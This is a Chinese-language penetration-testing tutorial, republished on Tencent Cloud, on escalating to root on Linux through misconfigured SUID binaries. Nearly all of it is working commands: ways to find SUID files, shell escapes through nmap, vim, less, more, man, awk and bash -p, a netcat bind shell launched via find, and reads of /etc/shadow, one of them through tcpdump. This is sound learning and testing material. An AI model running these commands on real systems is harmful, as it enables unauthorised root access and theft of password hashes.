首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Linux下利用SUID提权

Linux下利用SUID提权

作者头像
Ms08067安全实验室
发布2020-03-19 11:20:18
3.7K0
发布2020-03-19 11:20:18
举报

今天给大家带来的是linux下的提权技巧。SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。

已知的可用来提权的linux可行性的文件列表如下:

Nmap
Vim
find
Bash
More
Less
Nano
cp

以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

发现SUID可执行文件

以上所有二进制文件都将以root用户权限执行,因为它们的权限中包含"s",并且对应的是root权限。

ls -l /usr/bin/nmap
-rwsr-xr-x 1 root root 780676 2008-04-08 10:04 /usr/bin/nmap

SUID可执行文件 - Nmap

NMAP

较旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。由于Nmap在使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。

nmap -V

Nmap - 版本识别

交互模式可以通过执行Nmap参数"interactive"

nmap --interactive

Nmap - 交互模式

以下命令将提供一个提升的shell。

nmap> !sh
sh-3.2# whoami
root

提权至Root权限

也可以通过Metasploit模块对Nmap的二进制文件进行权限提升。

exploit/unix/local/setuid_nmap

Find

如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。

touch pentestlab
find pentestlab -exec whoami \;

Find命令权限提升

大部分Linux操作系统都安装了netcat,因此也可以被利用来将权限提升至root。

find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;

通过Find运行Netcat

连接上去就会直接获取到一个Root权限的shell。

netcat 192.168.1.189 5555
id
cat /etc/shadow

Root权限的shell

VIM

Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。

vim.tiny /etc/shadow

Vim - Shadow文件读取

vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

Vim - Root权限

Bash

以下命令将以root权限打开一个bash shell。

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

‍Bash - Root权限

Less

Less和More都执行以用来提权。

less /etc/passwd
!/bin/sh
more /home/pelle/myfile
!/bin/bash

获取到Root权限

cp

使用cp覆盖 /etc/shadow

mv

使用mv 覆盖 /etc/shadow 或者/etc/sudoers

awk

awk 'BEGIN {system("/bin/bash")}'

man

man passwd
!/bin/bash

python/perl/ruby/lua/etc

  1. perl exec "/bin/bash";
  2. python import os os.system("/bin/bash")

tcpdump

echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

参考资料

  • https://pentestlab.blog/2017/09/25/suid-executables/
  • http://blog.csdn.net/haofeifei6/article/details/11516753
  • https://evi1cg.me/archives/SUID_Privilege_Escalation.html
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-03-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Find
  • VIM
  • Bash
  • Less
  • cp
  • mv
  • awk
  • man
  • python/perl/ruby/lua/etc
  • tcpdump
  • 参考资料
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档